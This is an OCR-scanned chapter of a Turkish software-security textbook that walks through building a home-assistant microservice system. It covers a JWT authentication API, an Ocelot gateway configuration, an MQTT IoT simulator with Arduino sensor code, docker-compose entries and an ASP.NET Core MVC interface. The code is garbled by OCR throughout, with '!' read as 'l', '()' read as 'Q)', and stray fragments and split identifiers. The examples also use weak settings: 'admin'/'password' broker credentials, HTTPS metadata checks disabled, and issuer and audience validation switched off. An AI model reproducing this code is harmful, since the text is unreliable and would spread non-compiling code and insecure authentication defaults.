private const int JwtTokenValidityMins = 20;
private readonly IUserService _userService;
public JwtTokenHandler(IUserService userService)
i

_userService = userService;

public async Task<AuthenticationResponse?> GenerateJwtToken(Authenticati-
onRequest authenticationRequest)

{

if (string.IsNullOrWhiteSpace(authenticationRequest.UserName) ||
string.IsNullOrWhiteSpace(authenticationRequest.Password))

return null;
/* Dogrulama */
var response = await _userService.ValidateUser(authenticationRequest);
if (lresponse.IsSuccessStatusCode) return null;
var responseContent = await response.Content.ReadAsStringAsync();

var user = JsonConvert.DeserializeObject<UserAccount>(responseCon-
tent);

var tokenExpiryTimeStamp = DateTime.Now.AddMinutes(JwtTokenValidity-
Mins);




var tokenKey = Encoding.ASCII.GetBytes(JwtSecurityKey);
var claimsIdentity = new ClaimsIdentity(new List<Claim>
{

new Claim(JwtRegisteredClaimNames.Name, authenticationRequest.
UserName),

new Claim(“UserId”, user!.Id),

1;
var signingCredentials = new SigningCredentials(
new SymmetricSecurityKey(tokenKey),

SecurityAlgorithms.HmacSha256Signature);

var securityTokenDescriptor = new SecurityTokenDescriptor

{
Subject = claimsIdentity,
Expires = tokenExpiryTimeStamp,
SigningCredentials = signingCredentials
}

var jwtSecurityTokenHandler = new JwtSecurityTokenHandler();

var securityToken = jwtSecurityTokenHandler.CreateToken(securityToken-
Descriptor);

var token = jwtSecurityTokenHandler.WriteToken(securityToken);

return new AuthenticationResponse

{
UserId = user.Id,
UserName = authenticationRequest.UserName,
ExpiresIn = (int)tokenExpiryTimeStamp.Subtract(DateTime.Now).Total-

Seconds,

JwtToken = token

H

3
}

public static class CustomJwtAuthExtension

{

public static void AddCustomJwtAuthentication(this IServiceCollection ser-
vices)

{

services.AddAuthentication(CookieAuthenticationDefaults.Authenticati-
onScheme)



.AddJwtBearer(o =>

0.RequireHttpsMetadata = false;
o.SaveToken = true;

o.TokenValidationParameters = new TokenValidationParameters

{
ValidateIssuerSigningKey = true,
ValidateIssuer = false,

ValidateAudience = false,

IssuerSigningKey = new SymmetricSecurityKey(Encoding.ASCII.Get-

Bytes(JwtTokenHandler.JwtSecurityKey))

B

5

.AddCookie(“Cookies™);

YAZILIM GUVENLIGI

' 12 Adim: Ev Asistani ¢6ziimiinde AuthenticationWebApi adinda bir Asp.Net Core Web API prOJe5| '

. olusturunuz
1

I13 Adim: Add Project Reference komutuyla JwtAuthenticationManager projesini referans oIarak:
! projeye ekleyiniz (Gorsel 3.17).

4 &] AuthenticationWebApi
P ca Connected Services

b g Ar Add Project Reference...

b «m Fr: Add Shared Project Reference...

b @ Pa Add COM Reference...
b Pri -
I> i]?npe @
4 [ Contr
b c# Ac B Collapse All Descendants
b appse Scope to This
b -r LT |_:| MNew Solution Explorer View

Manage MuGet Packages...

Remove Unused References...

b & docker-c Optimize References...

b [ Jwthuthe Remowve Unused References

Ctrl+Left Arrow

Gorsel 3.17: Add Project Reference komutu

' 14. Adim: Controllers klasori icindeki tiim kontrolleri siliniz.

! 15 Adim: AccountController.cs adinda yeni bir Controller ekleyiniz.
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[Route(“api/[controller]™)]
[ApiController]
public class AccountController : ControllerBase

{

private readonly JwtTokenHandler _jwtTokenHandler;

public AccountController(JwtTokenHandler jwtTokenHandler)

{
_jwtTokenHandler = jwtTokenHandler;

[HttpPost]
public async Task<IActionResult> Authenticate(

[FromBody] AuthenticationRequest authenticationRequest)

var authenticationResponse = await _jwtTokenHandler.GenerateJdwtToken(a-
uthenticationRequest);

if (authenticationResponse == null) return Unauthorized();

return Ok(authenticationResponse);

using JwtAuthenticationManager;

using JwtAuthenticationManager.Services;
var builder = WebApplication.CreateBuilder(args);

// Hizmetleri konteynere ekleme
builder.Services.AddControllers();
builder.Services.AddSingleton<JwtTokenHandler>(Q);
builder.Services.AddSingleton<IUserService, UserService>();

var app = builder.Build();

// HTTP istek hattini yapilandirma
app.UseAuthorization();
app.MapControllers();

app.RunQ);
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authenticationwebapi:
container_name: authentication-api
image: ${DOCKER_REGISTRY-}authenticationwebapi
build:
context:
dockerfile: AuthenticationWebApi/Dockerfile
networks:

- backnet

3.3.4. APl Gateway Mikroservisi

APl Gateway (APl Kapisi), uygulama programlama araylzi (API) hizmeti sunan mikroservis mimarilerinde
ve dagitik sistemlerde kullanilan bir yazilim bilesenidir. APl Gateway, bir dizi islevi yerine getirerek
gelen istekleri yonetir, glivenlik 6nlemlerini uygular, trafik yonetimini saglar, APl stirimlerini yonetir ve
istemcilere hizmet sunan mikroservisler arasinda bir ara katman olarak gérev yapar.

UYGULAMA

> ApiGateway klasoéri olusturarak bu klasor icine ApiGateway adinda bir Asp.
Net Core Web API projesini olusturma islemini verilen adimlar dogrultusunda
gerceklestiriniz.

' 1. Adim: Nuget paket yoneticisi ile Ocelot paketini yikleyiniz. !
I 1
1 2. Adim: Add Project Reference komutuyla JwtAuthenticationManager projesini referans olarak |
- projeye ekleyiniz.

' 3. Adim: ocelot.json adinda bir JSON dosyasi olusturunuz.

“Routes”: [
// Web API kimlik dogrulama
{
“UpstreamPathTemplate”: “/api/login”,
“UpstreamHttpMethod”: [ “Post” ],

“DownstreamScheme”: “http”,
“DownstreamHostAndPorts”: [
{
“Host”: “authenticationwebapi”,
“Port”: 80
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1,
“DownstreamPathTemplate”: “/api/Account?”
b
// Web API kullanici hizmeti
{
“UpstreamPathTemplate”: “/api/Users”,
“UpstreamHttpMethod”: [ “Get”, “Put” ],

“DownstreamScheme”: “http”,
“DownstreamHostAndPorts”: [
{
“Host”: “userservicewebapi?”,
“Port”: 80
}
1,
“DownstreamPathTemplate”: “/api/Users”,
“AuthenticationOptions”: {
“AuthenticationProviderKey”: “Bearer”,
“AllowedScopes™: []

“UpstreamPathTemplate”: “/api/register”,
“UpstreamHttpMethod”: [ “Post” ],

“DownstreamScheme”: “http”,
“DownstreamHostAndPorts”: [
{
“Host”: “userservicewebapi”,
“Port”: 80
}
1,

“DownstreamPathTemplate”: “/api/Users”
“UpstreamPathTemplate”: “/api/Users/verify-user”,
“UpstreamHttpMethod”: [ “Post” ],

“DownstreamScheme”: “http”,

“DownstreamHostAndPorts”: [
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“Host”: “userservicewebapi”,
“Port”: 80
}
]l

“DownstreamPathTemplate”: “/api/Users/verify-user?”

“UpstreamPathTemplate”: “/api/Users/{id}”,
“UpstreamHttpMethod”: [ “Get” ],

“DownstreamScheme”: “http”,
“DownstreamHostAndPorts”: [
{
“Host”: “userservicewebapi”,
“Port”: 80
}
1,
“DownstreamPathTemplate”: “/api/Users/{id}”,
“AuthenticationOptions”: {
“AuthenticationProviderKey”: “Bearer?”,
“AllowedScopes”: []

“UpstreamPathTemplate”: “/api/Users/username/{username}”,
“UpstreamHttpMethod”: [ “Get” 1],

“DownstreamScheme”: “http”,
“DownstreamHostAndPorts”: [
{
“Host”: “userservicewebapi?”,
“Port”: 80
}
1,
“DownstreamPathTemplate”: “/api/Users/username/{username}”,
“AuthenticationOptions”: {
“AuthenticationProviderKey”: “Bearer?”,
“AllowedScopes™: []
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3
// Web API cihaz servisi
{
“UpstreamPathTemplate”: “/api/Devices”,
“UpstreamHttpMethod”: [ “Get”, “Post”, “Put” ],
“DownstreamScheme”: “http”,
“DownstreamHostAndPorts”: [
{
“Host”: “deviceservicewebapi”,
“Port”: 80
}
1,
“DownstreamPathTemplate”: “/api/Devices?”,
“AuthenticationOptions”: {
“AuthenticationProviderKey”: “Bearer”,
“AllowedScopes”: []
}
'
“UpstreamPathTemplate”: “/api/Devices/{id}”,
“UpstreamHttpMethod”: [ “Get”, “Put”, “Delete” 1],
“DownstreamScheme”: “http”,
“DownstreamHostAndPorts”: [
{
“Host”: “deviceservicewebapi”,
“Port”: 80
}
1,
“DownstreamPathTemplate”: “/api/Devices/{id}”,
“AuthenticationOptions”: {
“AuthenticationProviderKey”: “Bearer?”,
“AllowedScopes”: []
}
3
{

“UpstreamPathTemplate”: “/api/Devices/user/{userid}”,
“UpstreamHttpMethod”: [ “Get” 1],
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“DownstreamScheme”: “http”,
“DownstreamHostAndPorts”: [
{
“Host”: “deviceservicewebapi”,
“Port”: 80
}
1,
“DownstreamPathTemplate”: “/api/Devices/user/{userid}?”,
“AuthenticationOptions”: {
“AuthenticationProviderKey”: “Bearer?”,
“AllowedScopes”: []

}
1,
“GlobalConfiguration”: {
“BaseUrl”: “http://localhost:800”

using JwtAuthenticationManager;
using Ocelot.DependencyInjection;

using Ocelot.Middleware;

var builder = WebApplication.CreateBuilder(args);

builder.Configuration.SetBasePath(builder.Environment.ContentRootPath)
.AddJsonFile(“ocelot.json”, optional: false, reloadOnChange: true)
.AddEnvironmentVariables();

builder.Services.AddOcelot(builder.Configuration);

builder.Services.AddCustomJdwtAuthentication();

var app = builder.Build();
await app.UseOcelot();

app.UseAuthentication();
app.UseAuthorization();
app.RunQ);

! 5 Adim: Projeye Docker Compose konteyner yoneticisi destegini ekleyiniz.

! 6 Adim: Docker-compose.yml dosyasinda gerekli degisiklikleri yapiniz.
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authenticationwebapi:
container_name: authentication-api
image: ${DOCKER_REGISTRY-}authenticationwebapi
build:
context:
dockerfile: AuthenticationWebApi/Dockerfile
networks:

- backnet

3.3.5. loT Uygulamasi

loT mikroservisi, 10T bir cihazi simile eden Konsol (Console) uygulamasidir. IoT cihaz, ortam sicakhgi
bilgilerini sensérden alarak MQTT Broker’a génderir.

MQTT (Message Queuing Telemetry Transport), hafif bir mesajlasma protokolldir ve genellikle 1oT
cihazlari arasinda veri iletimi icin kullanilir. MQTT Broker, MQTT protokollini kullanan cihazlar arasinda
iletisimi saglayan bir ara yazilimdir.

MQTT protokold, yayin/abone (publish/subscribe) modelini temel alir. Bu modelde, cihazlar birbirleriyle
dogrudan iletisim kurmak yerine bir araci olan MQTT Broker lzerinden mesajlasir. MQTT Broker’da iki
ana rol bulunur.

Yayinci (Publisher): Veri gonderen cihazlari temsil eder. Bu cihazlar, belirli bir konuya (topic) mesaj
gonderir.

Abone (Subscriber): Veriyi alan cihazlari temsil eder. Belirli bir konuya abone olan cihazlar, o konudaki
mesajlari alir.

MQTT Broker, bu yayin/abone modelini yonetir. Yayincilar tarafindan génderilen mesajlari alir ve ilgili
abonelere ileterek iletisimi saglar. Bu sayede cihazlar arasinda diistik bant genisligi kullanimi, disiik glg
tuketimi ve hizl veri iletimi mimkinddr. Bir MQTT Broker’in temel gorevleri sunlardir:

e istemciler arasinda mesajlari iletmek.

e Abonelikleri yonetmek ve glincellemek.

e istemcilerin baglantilarini kabul etmek ve yénetmek.

¢ Gulvenlik mekanizmalarini saglamak (kullanici adi/parola, SSL/TLS gibi).

Popiler MQTT Broker uygulamalari arasinda Mosquitto, RabbitMQ, HiveMQ gibi cesitli acik kaynak
veya ticari ¢ozlimler bulunur. Bu Broker’lar, MQTT protokoliinii destekleyerek cihazlar arasinda etkili ve
glvenli bir iletisim saglar.

UYGULAMA

> loT mikroservisi olusturma islemini verilen adimlar dogrultusunda gergeklestiriniz.




static async Task Main(string[] args)

i
var
var
var
var

var

var

mqttFactory = new MgttFactory();

mqttBroker = Environment.GetEnvironmentVariable(“MQTT_BROKER”);
deviceCode = Environment.GetEnvironmentVariable(“DEVICE”);

mqttUser = Environment.GetEnvironmentVariable(“MQTT_USER”);
mqttPassword = Environment.GetEnvironmentVariable(“MQTT_PASSWORD”);

mqttClientOptions = new MgttClientOptionsBuilder()
.WithTcpServer(mqttBroker)
.WithCredentials(mqttUser, mqttPassword)

.BuildQ);

using (var mqgttClient = mqttFactory.CreateMqttClient())

{

await mqttClient.ConnectAsync(mgttClientOptions, CancellationToken.None);

while (true)

{
// Rastgele bir sayi lret.
var random = new Random();

var temperature = random.Next(10, 30) + random.NextDouble();

var applicationMessage = new MqttApplicationMessageBuilder()
.WithTopic(deviceCode)
.WithRetainFlag(true)
.WithPayload(temperature.ToString(“F1”)) // Sayiyi bir ondalik

haneli sayiya donustir.

.BuildQ);

await mqttClient.PublishAsync(applicationMessage, CancellationToken.

None);
Console.WriteLine($”MQTT application message is published: {tempera-
ture:F1}”);
// 5 saniye bekle.
Thread.Sleep(5000);
}
}
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' 3. Adim: Projeye Docker Compose konteyner yoneticisi destegi ekleyiniz.

! 4 Adim: Docker-compose.yml dosyasinda gerekli degisiklikleri yapiniz.

mgttbroker:
container_name: mqtt-broker
image: eclipse—mosquitto
ports:
- 1883:1883
- 9001:9001
networks:
- backnet
- frontnet
volumes:
- ./MqttBroker/config: /mosquitto/config:rw
- ./MgttBroker/data:/mosquitto/data:rw
- ./MgttBroker/log:/mosquitto/log:rw
Iotsiml:
image: ${DOCKER_REGISTRY-}iotsim
build:
context:
dockerfile: IoTSim/Dockerfile
networks:
- frontnet
environment:
MQTT_BROKER=mqttbroker
MQTT_USER=admin
— MQTT_PASSWORD=password
- DEVICE=Device01_01

! 5 Adim: Projeyi calistirip ¢6zim klasori icinde mosquitto dosyalarinin olusmasini saglayiniz. 1

! 6 Adim: Mqtt Broker ayar dosyasi olan mosquitto/mosquitto.conf dosyasini diizenleyiniz. !

allow_anonymous false

password_file /mosquitto/config/pwfile

:8 Adim: Terminalde docker exec mqtt-broker mosquitto_passwd -U //mosquitto/config/pwfile ko—:
. mutunu yazarak Mqtt Broker icin kullanici adi ve sifresini olusturunuz. |

: '9. Adim: Run butonuna basarak ¢6zimu baslatiniz. !
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MQTT Connection
§ Name ' .
http:/flocalhost: 1883/ Validate certificate Encryption (tls)
f Protocol Host Port
{ matt//  ~  localhost 1883
3 Username Password
admin password ®

DELETE i L ADVANCED Bsave (})conNECT

Gorsel 3.18: MQTT-Explorer ayar penceresi

UYGULAMA

> Ortam sicakhgini alip Mqgtt Broker’a gonderen loT cihaz uygulamasini verilen
adimlar dogrultusunda gerceklestiriniz.

I1 Adim: Arduino Uno cihazinin dijital 2 numarali pinine Dhtl1l sicaklik sensoriiniin data g|r|§|n|l
bagbynnz

: 2. Adim: Dht11 sensoriiniin Vcc ve GND pinlerini loT cihazinin Vcc ve GND pinlerine baglayiniz.

|
|3.Adun:ESP8266VVWrnodUMnUIoTcmamnabayawnu.

‘4. Adim: Arduino Uno cihazina IDE yardimiyla kodlari yaziniz.

#include <DHT.h>

#include <PubSubClient.h>

// Wi-Fi ayarlari

const char* ssid = “wifi_ssid”;

const char* password = “wifi_password”;

// MQTT Broker ayarlari

const char* mgttServer = “mqgttbroker_adres”;
const int mqgttPort = 1883;

const char* mgttUser = “admin”;

const char* mgttPassword = “password”;

const char* topicName = “Device@l 01”;
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// DHT sensor ayarlari
const int dhtPin = 2; // DHT sensorinin bagli oldugu pin ile degistirin.

const int dhtType = DHT11;

// DHT sensorl balsatma
DHT dht(dhtPin, dhtType);

WiFiClient wifiClient;
PubSubClient client(wifiClient);

void setup() {
Serial.begin(9600);

I/ Wi-Fi agina baglanma

WiFi.begin(ssid, password);

while (WiFi.status() != WL_CONNECTED) {
delay(500);

Serial.print(“.”);

}

Serial.println(“”);

Serial.println(“WiFi baglandi.”);

I MQTT Broker'a baglanma

client.setServer(mgttServer, mqgttPort);

while (!client.connected()) {

Serial.println(“MQTT brokera baglaniyor...”);

if (client.connect(“ArduinoClient”, mqgttUser, mgttPassword)) {
Serial.println(“MQTT brokera baglandi.”);

}else {
Serial.print(“MQTT brokera baglanti basarisiz oldu: “);
Serial.print(client.state());
Serial.println(“ 5 saniye ig¢inde yeniden deneniyor...”);

delay(5000);
}
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/I DHT sensori baslatma
dht.begin();
}

void loop() {

/I DHT sensoriinden sicaklik ve nemi okuma

float temperature = dht.readTemperature();

if (isnan(temperature)) {
Serial.println(“DHT sensoriinden sicaklik okunamadi.”);
return;

}

/l Sicakligi MQTT Broker ile yayinlama

char payload[10];

dtostrf(temperature, 1, 1, payload);

client.publish(topicName, payload);

Serial.println(“MQTT brokerda yayinlanan sicaklik: “ + String(temperatu-
re));

/l Tekrar yayinlamadan once 5 saniye bekleyin.

delay(5000);
}

3.3.6. Web Arayiiz Uygulamasi

ASP.NET Core MVC, Microsoft tarafindan gelistirilen ve web uygulamalari olusturmak icin kullanilan web
frameworktdir. Buframework, ASP.NET Core’un bir pargasi olarak sunulur ve modern web uygulamalari
gelistirmek igin glicll bir altyapi saglar. Bu framework, mikroservis mimarisinde kullanicinin islemlerini
bir web tarayicisi araciligiyla yapmasini saglar.

UYGULAMA

> Mikroservis yapisini kullanan web araylizii uygulamasini verilen adimlar
dogrultusunda gergeklestiriniz.

' 1. Adim: Ev Asistani ¢6zim igindeki Ul klasériine EAWebUI adinda yeni bir Asp.Net Core Web App i

; (Model View-Controller) projesi olusturunuz.
1

: 2. Adim: Nuget paket yoneticisi ile MQTTnet.AspNetCore paketini ylkleyiniz.

1
'3 Adim: Add Project Reference komutuyla JwtAuthenticationManager projesini referans oIarak:
' projeye ekleyiniz. !




using EAWebUI;
using EAWebUI.Services;
using JwtAuthenticationManager;

using System.Net;

var builder = WebApplication.CreateBuilder(args);

// Servisleri konteynere ekleme
builder.Services.AddControllersWithViews();
builder.Services.AddCustomJwtAuthentication();
builder.Services.AddHttpContextAccessor();
builder.Services.AddScoped<CustomHttpHandler>();
builder.Services.AddHttpClient(“api”, client =>

{

client.BaseAddress = new Uri(“http://apigateway”);

3

.AddHttpMessageHandler<CustomHttpHandler>();
builder.Services.AddScoped<IUserService, UserService>();

builder.Services.AddScoped<IDeviceService, DeviceService>();

var app = builder.Build();

// HTTP istek hattini yapilandirma
if (lapp.Environment.IsDevelopment())
{
app.UseExceptionHandler(“/Home/Error”);
3
app.UseStaticFiles();

app.UseStatusCodePages(async context =>

i
var request = context.HttpContext.Request;
var response = context.HttpContext.Response;
if (response.StatusCode == (int)HttpStatusCode.Unauthorized)
i
response.Redirect(“/Account/Login™);
}
B;

app.UseRouting();



YAZILIM GUVENLIGI

// Kimlik dogrulama ve oturum islemlerini etkinlestirme
app.UseAuthentication();
app.UseAuthorization();

app.MapControllerRoute(
name: “default”,
pattern: “{controller=Home}/{action=Index}/{id?}”);

app.Run();

public class LoginViewlModel
{
[Required]

[RegularExpression(“"[a-zA-Z0-9_]%$”, ErrorMessage = “Kullanici adi gereksi-
nimleri karsilanmiyor.?”)]

[DisplayName(“Kullanici Adi”)]

public required string UserName { get; set; }

[Required]
[DataType(DataType.Password)]
[DisplayName(“Sifre”)]

[RegularExpression(«"(?=.%[a-z]) (?=.%[A-Z2])(?=.%\\d).+$”, ErrorMessage =
“Sifre gereksinimleri karsilanmiyor.?”)]

public required string Password { get; set; 1}

public class RegisterViewlModel
i
[Required]

[RegularExpression(“~[a-zA-Z0-9_]*$”, ErrorMessage = “Kullanici adi gereksi-
nimleri karsilanmiyor.”)]

[DisplayName(“Kullanici Adi”)]

public required string UserName { get; set; 1}

[Required]
[DataType(DataType.EmailAddress)]
[DisplayName(“Eposta Adresi”)]

public required string Email { get; set; }
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[Required]
[DataType(DataType.Password)]
[DisplayName(“Sifre”)]

[RegularExpression(«*(?=.%[a-z])(?=.%[A-Z2])(?=.%\\d).+$”, ErrorMessage =
“Sifre gereksinimleri kargilanmiyor.”)]

public required string Password { get; set; }

[Required]

[DataType(DataType.Password)]

[Compare( nameof(Password), ErrorMessage = “Sifreler uyusmuyor.”)]
[DisplayName(“Sifre onayla”)]

public required string ConfirmPassword { get; set; 1}

public class DeviceViewModel
{
[Required]
[DisplayName(“Cihaz Adi”)]
public required string DeviceName { get; set; }

[Required]
[DisplayName(“Cihaz Kodu”)]

public required string DeviceCode { get; set; }

public int? UserId { get; set; }
public int Id { get; set; }

public class JwtTokenResponseVm

{
public string UserId { get; set; }
public int ExpiresIn { get; set; }
public string JwtToken { get; set; }
}
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public interface IUserService
{
Task<JwtTokenResponseVm?> Login(string username, string password);

Task<HttpResponseMessage> Register(string username, string email, string pas-
sword);

public class UserService : IUserService

{
private readonly IHttpClientFactory _httpClientFactory;

public UserService(IHttpClientFactory httpClientFactory)
{

_httpClientFactory = httpClientFactory;
}

public async Task<JwtTokenResponseVm?> Login(string username, string pas-
sword)

i
var user = new
UserName = username,
Password = password,
}

var client = _httpClientFactory.CreateClient(“api”);
var response = client.PostAsJsonAsync(“/api/login”, user).Result;

if (await response.Content.ReadFromJsonAsync<JwtTokenResponseVm>() is not
{ } tokenResponse ||

string.IsNullOrEmpty(tokenResponse.JwtToken)) return null;
return tokenResponse;

}

public async Task<HttpResponseMessage> Register(string username, string ema-
il, string password)

i
var user = new
{
UserName = username,
Email = email,
Password = password,
b
var client = _httpClientFactory.CreateClient(“api”);
var response = await client.PostAsJsonAsync(“/api/register”, user);
return response;
}




public interface IDeviceService

i
Task<DeviceViewModel?> GetDeviceAsync(int id);
Task<IEnumerable<DeviceViewModel>?> GetAllDevicesByUserIdAsync(int userId);
Task<HttpResponseMessage> CreateDeviceAsync(DeviceViewModel device);
Task<HttpResponseMessage> UpdateDeviceAsync(DeviceViewModel device);
Task<HttpResponseMessage> DeleteDeviceAsync(int id);

}

public class DeviceService : IDeviceService
{
private readonly IHttpClientFactory _httpClientFactory;
public DeviceService(IHttpClientFactory httpClientFactory)
{
_httpClientFactory = httpClientFactory;
}
public async Task<DeviceViewModel?> GetDeviceAsync(int id)
i
var client = _httpClientFactory.CreateClient(“api”);

var response = await client.GetFromJsonAsync<DeviceViewModel>($”/api/De-
vices/{id}”);

return response;

public async Task<IEnumerable<DeviceViewModel>?> GetAllDevicesByUserIdAsyn-
c(int userId)

{
var client = _httpClientFactory.CreateClient(“api”);
var response =

await client.GetFromJsonAsync<IEnumerable<DeviceViewModel>>($”/api/Devi-
ces/user/{userId}”);

return response;
}

public async Task<HttpResponseMessage> CreateDeviceAsync(DeviceViewModel de-
vice)

{
var client = _httpClientFactory.CreateClient(“api”);
var response =
await client.PostAsJsonAsync($”/api/Devices”, device);

return response;
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public async Task<HttpResponseMessage> UpdateDeviceAsync(DeviceViewModel de-
vice)

{
var client = _httpClientFactory.CreateClient(“api”);
var response = await client.PutAsJsonAsync($”/api/Devices/{device.Id}”,
device);
return response;
}

public async Task<HttpResponseMessage> DeleteDeviceAsync(int id)

i
var client = _httpClientFactory.CreateClient(“api”);
var response = await client.DeleteAsync($”/api/Devices/{id}”);

return response;

public class AccountController : Controller
{
private readonly IUserService _userService;

public AccountController(IUserService userService)
{

_userService = userService;

}

[HttpGet]
public IActionResult Login()
{

return View();

}

[HttpGet]
public IActionResult Register()
{

return View();

}

[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> Login(LoginViewModel model)
{
if (!ModelState.IsValid)
1




ModelState.AddModelError(string.Empty, “Gegersiz kullanici adi veya
sifre.”);

return View(model);

return await ProcessLogin(model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> Register(RegisterViewModel model)
{
if (!ModelState.IsValid)
{

ModelState.AddModelError(string.Empty, “Gegersiz kullanici adi veya
sifre.”);

return View(model);

var result = await _userService.Register(model.UserName, model.Email, mo-
del.Password);

if (result.IsSuccessStatusCode)

{
var loginModel = new LoginViewModel
{
UserName = model.UserName,
Password = model.Password
}
return await ProcessLogin(loginModel);
}

var errorMessage = await result.Content.ReadAsStringAsync();
ModelState.AddModelError(string.Empty, errorMessage);
return View(model);

private async Task<IActionResult> ProcessLogin(LoginViewModel model)

{

var token = await _userService.Login(model.UserName, model.Password);
if (token == null)
{

ModelState.AddModelError(string.Empty, “Gegersiz kullanici adi veya
sifre.”);

return View(Q);



var identity = new ClaimsIdentity(CookieAuthenticationDefaults.Authenti-
cationScheme);

identity.AddClaim(new Claim(ClaimTypes.Name, model.UserName));
identity.AddClaim(new Claim(ClaimTypes.NameIdentifier, token.UserId));
identity.AddClaim(new Claim(“token”, token.JwtToken));

var principal = new ClaimsPrincipal(identity);

var authProperties = new AuthenticationProperties

i
AllowRefresh = true,
//ExpiresUtc = token.ExpireslIn,
ExpiresUtc = DateTimeOffset.Now.AddSeconds(token.ExpiresIn),
IsPersistent = true,
i
try
{

await HttpContext.SignInAsync(CookieAuthenticationDefaults.Authenti-
cationScheme,

new ClaimsPrincipal(principal), authProperties);

}

catch (Exception ex)

{

throw;

}

return RedirectToAction(“Index”, “Home”);
}
[HttpPost]
[Authorize]
public async Task<IActionResult> Logout()
{

await HttpContext.SignOutAsync(CookieAuthenticationDefaults.Authenticati-
onScheme) ;

HttpContext.Response.Cookies.Delete(“jwt-access—-token”);

return RedirectToAction(“Index”, “Home”);

@model EAWebUI.Models.LoginViewModel

ef
ViewData[«“Title”] = “Kullanici Girisi”;
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<hl>Kullanici Girisi</h1l>

<hr />

<div class="row”>

<div class="col-md-4”>

<form asp-action=”"Login” asp-antiforgery="true”>

<div asp-validation-summary="ModelOnly” class="text-danger”></div>
<div class="form-group”>

<label asp-for="UserName” class="control-label”></label>

<input asp-for="UserName” class=”form-control” />

<span asp-validation-for="UserName” class="text-danger”></span>
</div>
<div class="form-group”>

<label asp-for="Password” class="control-label”></label>

<input asp-for="Password” class=”form-control” />

<span asp-validation-for="Password” class=”text-danger”></span>
</div>
<br />
<div class="form-group”>

<input type=”submit” value=”0Oturum A¢” class="btn btn-primary” />

</div>

</form>

<a asp-action="Register”>Kayit ol</a>

</div>

</div>

@section Scripts {
@{await Html.RenderPartialAsync(“_ValidationScriptsPartial”);}

@model EAWebUI.Models.RegisterViewlModel

e{

ViewData[«“Title”] = “Register”;
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<hl>Kullanici Girisi</hl>

<hr />

<div class="row”>

<div class="col-md-4”>

span>

</div>

</div>

<form asp-action="Register” asp-antiforgery="true”>

<div asp-validation-summary="ModelOnly” class="text-danger”></div>
<div class="form-group”>

<label asp-for="UserName” class="control-label”></label>

<input asp-for="UserName” class=”form-control” />

<span asp-validation-for="UserName” class="text-danger”></span>
</div>
<div class="form-group”>

<label asp-for="Email” class="control-label”></label>

<input asp-for="Email” class="form-control” />

<span asp-validation—for="Email” class="text-danger”></span>
</div>
<div class="form—-group”>

<label asp-for="Password” class="control-label”></label>

<input asp-for="Password” class=”form-control” />

<span asp-validation-for="Password” class=”text-danger”></span>
</div>
<div class="form-group”>

<label asp-for="ConfirmPassword” class="control-label”></label>

<input asp-for="ConfirmPassword” class="form-control” />

<span asp-validation—-for="ConfirmPassword” class="text-danger?></

</div>
<br />
<div class="form-group”>
<input type=”submit” value=”Kaydol” class=”btn btn-primary” />

</div>

</form>

@section Scripts {
@f{await Html.RenderPartialAsync(“_ValidationScriptsPartial”);}




[Authorize]
public class DeviceController : Controller
i
private readonly IDeviceService _deviceService;
public DeviceController(IDeviceService deviceService)
{
_deviceService = deviceService;
}
// GET: DeviceController
public async Task<IActionResult> Index()
{
var userId = Convert.ToInt32(User.FindFirstValue(ClaimTypes.NameIdenti-
fier));
var devices = await _deviceService.GetAllDevicesByUserIdAsync(userId);
return View(devices);
}
// GET: DeviceController/Details/5
public async Task<ActionResult> Details(int? id)
{
if (id == null)
return NotFound();
var device = await _deviceService.GetDeviceAsync(id.Value);
if (device == null) return NotFound();
fery) var userId = Convert.ToInt32(User.FindFirstValue(ClaimTypes.NameIdenti-
er));

if (device.UserId != userId) return Unauthorized();
var mqttFactory = new MqgttFactory();
var mqttBroker = Environment.GetEnvironmentVariable(“MQTT_BROKER”);
var mqttUser = Environment.GetEnvironmentVariable(“MQTT_USER”);
var mqttPassword = Environment.GetEnvironmentVariable(“MQTT_PASSWORD”);
var mqttClientOptions = new MqttClientOptionsBuilder()
.WithwWebSocketServer(mqttBroker)
.WithCredentials(mqttUser, mqttPassword)
.Build();
string temperature = null;
using (var mgttClient = mgttFactory.CreateMgttClient())
{
mgttClient.ApplicationMessageReceivedAsync += e =>

{



None);

}

temperature = e.ApplicationMessage.ConvertPayloadToString();
//Console.WriteLine(temperature);
return Task.CompletedTask;

}

await mqgttClient.ConnectAsync(mqttClientOptions, CancellationToken.

var response = await mqttClient.SubscribeAsync(“Device0l_017);
await Task.Delay(5000);

await mqttClient.DisconnectAsync();

ViewBag.Temperature = temperature ?? “Sicaklik okunamadi.”;

return View(device);

// GET: DeviceController/Create
public ActionResult Create()

{

}

return View();

// POST: DeviceController/Create
[HttpPost]
[ValidateAntiForgeryToken]

public async Task<IActionResult> Create(DeviceViewModel model)

{

fier));

if (!ModelState.IsValid)

{
ModelState.AddModelError(string.Empty, “Hata.”);
return View(model);

}
model.UserId = Convert.ToInt32(User.FindFirstValue(ClaimTypes.NameIdenti-

var result = await _deviceService.CreateDeviceAsync(model);
if (result.IsSuccessStatusCode)
{

return RedirectToAction(“Index”);

}

return View(model);



// GET: DeviceController/Edit/5
public async Task<IActionResult> Edit(int? id)

{
if (id == null)
return NotFound();
var device = await _deviceService.GetDeviceAsync(id.Value);
if (device == null) return NotFound();
var userId = Convert.ToInt32(User.FindFirstValue(ClaimTypes.NameIdenti-
fier));
if (device.UserId != userId) return Unauthorized();
return View(device);
}

// POST: DeviceController/Edit/5
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> Edit(int id, DeviceViewModel device)
{
if (id != device.Id) return NotFound();

var userId = Convert.ToInt32(User.FindFirstValue(ClaimTypes.NameIdenti-
fier));

if (device.UserId != userId)
ModelState.AddModelError(string.Empty, “Yetkisiz islem.”);
if (ModelState.IsValid)

{
try
{
var result = await _deviceService.UpdateDeviceAsync(device);
if (result.IsSuccessStatusCode)
{
return RedirectToAction(nameof(Index));
}
}
catch (Exception ex)
{
return View(ex);
}
}

return View(device);



// GET: DeviceController/Delete/5
public async Task<IActionResult> Delete(int? id)

{

fier));

}

if (id == null)
return NotFound();

var device = await _deviceService.GetDeviceAsync(id.Value);

if (device == null) return NotFound();

var userId = Convert.ToInt32(User.FindFirstValue(ClaimTypes.NameIdenti-

if (device.UserId != userId) return Unauthorized();

return View(device);

// POST: DeviceController/Delete/5
[HttpPost, ActionName(“Delete”)]
[ValidateAntiForgeryToken]

public async Task<IActionResult> DeleteComfrmed(int id)

{

fier));

var device = await _deviceService.GetDeviceAsync(id);

